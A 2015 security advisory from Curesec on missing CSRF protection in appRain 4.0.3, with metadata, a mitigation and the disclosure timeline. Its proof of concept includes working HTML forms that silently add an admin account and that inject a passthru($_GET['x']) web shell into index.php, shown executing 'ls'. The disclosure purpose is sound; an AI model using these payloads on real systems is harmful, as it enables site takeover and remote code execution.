appRain 4.0.3: CSRF

Date: 2015-12-02 10:22:42

Security Advisory – Curesec Research Team

1. Introduction

Affected Product:	appRain 4.0.3
Fixed in:	Fixed via Optional Module
CSRF Protection Module Link:	http://www.apprain.com/extension/20/accounting-system?s=Description
Vendor Website:	info@apprain.com
Vulnerability Type:	CSRF
Remote Exploitable:	Yes
Reported to vendor:	10/02/2015
Disclosed to public:	12/02/2015
Release mode:	Coordinated release
CVE:	requested, but not assigned
Credits	Tim Coen of Curesec GmbH

2. Vulnerability Description

CVSS

Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description

None of the requests have CSRF protection. This means that an attacker can execute actions for an admin if the admin visits an attacker controlled website while logged in.

3. Proof of Concept

Add new Admin: <html> <body> <form action="http://localhost/apprain-source-4.0.3/admin/manage/add/" method="POST"> <input type="hidden" name="data[Admin][f_name]" value="foo" /> <input type="hidden" name="data[Admin][l_name]" value="foo" /> <input type="hidden" name="data[Admin][email]" value="foo@example.com" /> <input type="hidden" name="data[Admin][username]" value="foo" /> <input type="hidden" name="data[Admin][password]" value="fdnki2@#E@Kkfod" /> <input type="hidden" name="data[Admin][status]" value="Active" /> <input type="hidden" name="data[Admin][description]" value="foo" /> <input type="submit" value="Submit request" /> </form> </body> </html> Code Execution (using the PHP file editor): <html> <body> <form action="http://localhost/apprain-source-4.0.3/appeditor/index?loc=webroot/index.php" method="POST"> <input type="hidden" name="content" value="<?php
/**
 * ---
 * appRain CMF
 *
 * LICENSE
 *
 * This source file is subject to the MIT license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://www.opensource.org/licenses/mit-license.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@apprain.com so we can send you a copy immediately.
 *
 * @copyright  Copyright (c) 2010 appRain, Team. (http://www.apprain.com)
 * @license    http://www.opensource.org/licenses/mit-license.php MIT license
 *
 * HELP
 *
 * Official Website
 * http://www.apprain.com/
 *
 * Download Link
 * http://www.apprain.com/download
 *
 * Documents Link
 * http ://www.apprain.com/docs
 */

if (version_compare(phpversion(), '5.1.0', '<') === true) {
    die("<strong>Whoops, it looks like you have an invalid PHP version.</strong><br /><span>appRain supports PHP 5.1.0 or newer.</span>");
}

$appLoc = "../app.php";

if (!file_exists($appLoc)) {
    die("appRain core file(s) missing... Get a new copy ");
}

error_reporting(E_ALL);

require_once $appLoc;

umask(0);

App::Run();

passthru($_GET['x']);" /> <input type="submit" value="Submit request" /> </form> </body> </html> The injected code can now be executed here: http://localhost/apprain-source-4.0.3/webroot/index.php?x=ls

4. Solution

To mitigate this issue please install the "Data Exchange Security" module:

http://www.apprain.com/extension/20/accounting-system?s=Description

5. Report Timeline

10/02/2015	Informed Vendor. Mailbox info@apprain.com is full, used security@apprain.com instead (no reply)
10/21/2015	Reminded Vendor of Disclosure Date
10/21/2015	Vendor announces fix
~11/02/2015	Vendor releases optional module for CSRF protection
11/04/2015	Suggested to vendor that CSRF protection should not be optional (no reply)
11/17/2015	CVE Requested (no reply)
12/02/2015	Disclosed to public